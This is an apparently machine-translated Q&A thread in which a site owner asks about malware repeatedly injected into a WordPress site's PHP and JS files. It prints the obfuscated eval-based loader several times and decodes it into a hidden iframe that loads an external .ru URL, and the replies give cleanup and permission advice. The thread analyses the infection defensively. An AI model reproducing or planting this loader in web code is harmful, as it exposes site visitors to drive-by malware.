2013-04-24 13 views
5

Attualmente sto affrontando una situazione infernale, quattro dei miei siti Web dei clienti sono stati violati prima di 10 giorni. Ho incasinato molto con loro e tre di loro stanno funzionando bene (eseguendo Magento) dopo il mio lungo pasticcio con loro, ma uno di loro (con la stampa di parole correnti) sta ancora affrontando la stessa situazione e non riuscivo a capire cosa stava succedendo su, dopo un particolare tempismo i file js e file troppo po 'di PHP sono iniezione auto con questo tipo di codice:Un js dannoso è autoiniezione nei miei file header.php e molti altri file js?

<? 
#ded509# 
echo "<script type=\"text/javascript\" language=\"javascript\" > e=eval;v=\"0x\";a=0;try{a&=2}catch(q){a=1}if(!a){try{document[\"body\"]^=~1;}catch(q){a2=\"!\"}z=\"2f!6d!7c!75!6a!7b!70!76!75!27!2f!30!27!82!14!11!27!27!27!27!7d!68!79!27!6a!27!44!27!6b!76!6a!7c!74!6c!75!7b!35!6a!79!6c!68!7b!6c!4c!73!6c!74!6c!75!7b!2f!2e!70!6d!79!68!74!6c!2e!30!42!14!11!14!11!27!27!27!27!6a!35!7a!79!6a!27!44!27!2e!6f!7b!7b!77!41!36!36!71!68!72!80!7a!72!80!6d!35!79!7c!36!6a!76!7c!75!7b!38!3d!35!77!6f!77!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!77!76!7a!70!7b!70!76!75!27!44!27!2e!68!69!7a!76!73!7c!7b!6c!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!69!76!79!6b!6c!79!27!44!27!2e!37!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!6f!6c!70!6e!6f!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7e!70!6b!7b!6f!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!73!6c!6d!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7b!76!77!27!44!27!2e!38!77!7f!2e!42!14!11!14!11!27!27!27!27!70!6d!27!2f!28!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!30!27!82!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!7e!79!70!7b!6c!2f!2e!43!6b!70!7d!27!70!6b!44!63!2e!6a!63!2e!45!43!36!6b!70!7d!45!2e!30!42!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!35!68!77!77!6c!75!6b!4a!6f!70!73!6b!2f!6a!30!42!14!11!27!27!27!27!84!14!11!84!30!2f!30!42\".split(a2);s=\"\";if(window.document)for(i=0;i<z.length;i++)  {s+=String.fromCharCode(e(v+(z[i]))-7);}zaz=s;e(zaz);}</script>"; 
#/ded509# 
?> 

questo codice viene iniettato in tutta js file e file principali, ho cambiato le password FTP, ho controllato cron lavori, e manualmente ho cercato un codice php (mi sento come se fosse un codice php) ma non riesco a capirlo, e sì ho provato a decodificare questo codice e ho cercato di ottenere la funzionalità per questo codice, tuttavia rimuovere questo codice malevolo dai miei file js renderà il mio sito valido per un po 'di tempo, ma dopo un po' di tempo gli script eseguiranno l'auto injec con questo codice? cos'è in realtà questo codice js? Sarà molto utile se qualcuno spiegherà cosa sta realmente accadendo?

+0

Il sito è ospitato in un server condiviso? Forse il server stesso è compromesso, non solo il tuo dominio. Verificare con il provider di hosting. Le autorizzazioni dei file – kiranvj

risposta

7

Che php echo questo

<script type="text/javascript" language="javascript" > e=eval;v="0x";a=0;try{a&=2}catch(q){a=1}if(!a){try{document["body"]^=~1;}catch(q){a2="!"}z="2f!6d!7c!75!6a!7b!70!76!75!27!2f!30!27!82!14!11!27!27!27!27!7d!68!79!27!6a!27!44!27!6b!76!6a!7c!74!6c!75!7b!35!6a!79!6c!68!7b!6c!4c!73!6c!74!6c!75!7b!2f!2e!70!6d!79!68!74!6c!2e!30!42!14!11!14!11!27!27!27!27!6a!35!7a!79!6a!27!44!27!2e!6f!7b!7b!77!41!36!36!71!68!72!80!7a!72!80!6d!35!79!7c!36!6a!76!7c!75!7b!38!3d!35!77!6f!77!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!77!76!7a!70!7b!70!76!75!27!44!27!2e!68!69!7a!76!73!7c!7b!6c!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!69!76!79!6b!6c!79!27!44!27!2e!37!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!6f!6c!70!6e!6f!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7e!70!6b!7b!6f!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!73!6c!6d!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7b!76!77!27!44!27!2e!38!77!7f!2e!42!14!11!14!11!27!27!27!27!70!6d!27!2f!28!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!30!27!82!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!7e!79!70!7b!6c!2f!2e!43!6b!70!7d!27!70!6b!44!63!2e!6a!63!2e!45!43!36!6b!70!7d!45!2e!30!42!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!35!68!77!77!6c!75!6b!4a!6f!70!73!6b!2f!6a!30!42!14!11!27!27!27!27!84!14!11!84!30!2f!30!42".split(a2);s="";if(window.document)for(i=0;i<z.length;i++)  {s+=String.fromCharCode(e(v+(z[i]))-7);}zaz=s;e(zaz);}</script> 

In forma leggibile Sembra che questa

e = eval; 

v = "0x"; 
a = 0; 
try { 
    a &= 2 
} catch (q) { 
    a = 1 
} 
if (!a) { 
    try { 
     document["body"] ^= ~1; 
    } catch (q) { 
     a2 = "!" 
    } 
    z = "2f!6d!7c!75!6a!7b!70!76!75!27!2f!30!27!82!14!11!27!27!27!27!7d!68!79!27!6a!27!44!27!6b!76!6a!7c!74!6c!75!7b!35!6a!79!6c!68!7b!6c!4c!73!6c!74!6c!75!7b!2f!2e!70!6d!79!68!74!6c!2e!30!42!14!11!14!11!27!27!27!27!6a!35!7a!79!6a!27!44!27!2e!6f!7b!7b!77!41!36!36!71!68!72!80!7a!72!80!6d!35!79!7c!36!6a!76!7c!75!7b!38!3d!35!77!6f!77!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!77!76!7a!70!7b!70!76!75!27!44!27!2e!68!69!7a!76!73!7c!7b!6c!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!69!76!79!6b!6c!79!27!44!27!2e!37!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!6f!6c!70!6e!6f!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7e!70!6b!7b!6f!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!73!6c!6d!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7b!76!77!27!44!27!2e!38!77!7f!2e!42!14!11!14!11!27!27!27!27!70!6d!27!2f!28!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!30!27!82!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!7e!79!70!7b!6c!2f!2e!43!6b!70!7d!27!70!6b!44!63!2e!6a!63!2e!45!43!36!6b!70!7d!45!2e!30!42!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!35!68!77!77!6c!75!6b!4a!6f!70!73!6b!2f!6a!30!42!14!11!27!27!27!27!84!14!11!84!30!2f!30!42".split(a2); 
    s = ""; 
    if (window.document) for (i = 0; i < z.length; i++) { 
      s += String.fromCharCode(e(v + (z[i])) - 7); 
    } 
    zaz = s; 
    e(zaz); 
} 

Nel codice sopra e è la funzione eval

Se togliamo eval e stampa il contenuto di zaz sarà simile a questo.

(function() { 
    var c = document.createElement('iframe'); 

    c.src = 'http://jakyskyf.ru/count16.php'; 
    c.style.position = 'absolute'; 
    c.style.border = '0'; 
    c.style.height = '1px'; 
    c.style.width = '1px'; 
    c.style.left = '1px'; 
    c.style.top = '1px'; 

    if (!document.getElementById('c')) { 
     document.write('<div id=\'c\'></div>'); 
     document.getElementById('c').appendChild(c); 
    } 
})(); 

E 'un self executing funzione anonima. Lo script crea un iframe nella tua pagina e carica i contenuti da http://jakyskyf.ru/count16.php

Se il tuo server è ospitato su un server condiviso, forse l'account amministratore stesso è compromesso.

Cose che puoi fare.

  • Il posto migliore da controllare sono i log del server. Controlla alcune voci dannose.
  • Verificare con il proprio fornitore di servizi di hosting.
  • Modificare la password con una password complessa.
  • Normalmente nei siti wordpress ciò accade (è successo in molti dei miei siti wordpress). Se stai usando l'aggiornamento a wordpress alla versione più recente.
  • Modificare il nome utente dell'amministratore da admin con un altro nome.
  • Cambia l'indirizzo email e la password dell'amministratore. Hacker potrebbe averlo cambiato.

Questi link vi fornirà più input

+0

come posso liberarmene? –

+0

risposta aggiornata con maggiori informazioni – kiranvj

0

Dovrai modificare le autorizzazioni dei file della directory radice o dei file che vengono ripetutamente compromessi in 444. Assicurati di modificare le autorizzazioni di tutti i file index.php/html e .htaccess in sola lettura. Anche dare un permesso 555 directory js e file sarebbe di aiuto.

Questa è la soluzione rapida per smettere di essere spammato ancora e ancora. Per trovare la radice di questo devi controllare le voci del tuo database per moduli comuni come contact_us etc che potrebbero utilizzare script senza filtri di sanitizzazione adeguati. Rimuovere anche eventuali file sconosciuti dalla directory principale.

+0

sono attualmente 604 e le autorizzazioni delle cartelle sono attualmente 705, devo ancora cambiare? –

+0

Sì, ma non tutte le cartelle. Solo i file nudi nella directory principale, tutti i file .htaccess, tutti i file index.php e index.html e la directory js e i suoi file. Generalmente questi script dannosi trovano la loro strada attraverso i file .htaccess e index. Se provi a cambiare i permessi di tutte le directory il tuo progetto potrebbe smettere di funzionare. – tornados